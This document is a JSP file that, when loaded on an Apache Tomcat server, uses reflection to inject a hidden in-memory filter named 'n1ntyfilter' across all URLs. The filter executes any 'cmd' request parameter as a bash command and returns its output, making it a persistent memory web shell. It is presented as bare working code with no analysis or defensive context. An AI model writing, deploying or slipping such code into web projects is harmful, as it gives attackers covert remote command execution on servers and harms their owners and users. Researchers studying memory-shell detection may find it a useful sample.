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filter.jsp
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<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ page import="java.io.IOException"%>
<%@ page import="javax.servlet.DispatcherType"%>
<%@ page import="javax.servlet.Filter"%>
<%@ page import="javax.servlet.FilterChain"%>
<%@ page import="javax.servlet.FilterConfig"%>
<%@ page import="javax.servlet.FilterRegistration"%>
<%@ page import="javax.servlet.ServletContext"%>
<%@ page import="javax.servlet.ServletException"%>
<%@ page import="javax.servlet.ServletRequest"%>
<%@ page import="javax.servlet.ServletResponse"%>
<%@ page import="javax.servlet.annotation.WebServlet"%>
<%@ page import="javax.servlet.http.HttpServlet"%>
<%@ page import="javax.servlet.http.HttpServletRequest"%>
<%@ page import="javax.servlet.http.HttpServletResponse"%>
<%@ page import="org.apache.catalina.core.ApplicationContext"%>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.tomcat.util.descriptor.web.*"%>
<%@ page import="org.apache.catalina.Context"%>
<%@ page import="java.lang.reflect.*"%>
<%@ page import="java.util.EnumSet"%>
<%@ page import="java.util.Map"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
<%
final String name = "n1ntyfilter";
ServletContext ctx = request.getSession().getServletContext();
Field f = ctx.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)f.get(ctx);
f = appCtx.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContext standardCtx = (StandardContext)f.get(appCtx);
f = standardCtx.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
Map filterConfigs = (Map)f.get(standardCtx);
if (filterConfigs.get(name) == null) {
out.println("inject "+ name);
Filter filter = new Filter() {
@Override
public void init(FilterConfig arg0) throws ServletException {
// TODO Auto-generated method stub
}
@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
throws IOException, ServletException {
// TODO Auto-generated method stub
HttpServletRequest req = (HttpServletRequest)arg0;
if (req.getParameter("cmd") != null) {
byte[] data = new byte[1024];
Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
int len = p.getInputStream().read(data);
p.destroy();
arg1.getWriter().write(new String(data, 0, len));
return;
}
arg2.doFilter(arg0, arg1);
}
@Override
public void destroy() {
// TODO Auto-generated method stub
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardCtx.addFilterDef(filterDef);
FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/*");
standardCtx.addFilterMapBefore(m);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);
filterConfigs.put(name, filterConfig);
out.println("injected");
}
%>
</body>
</html>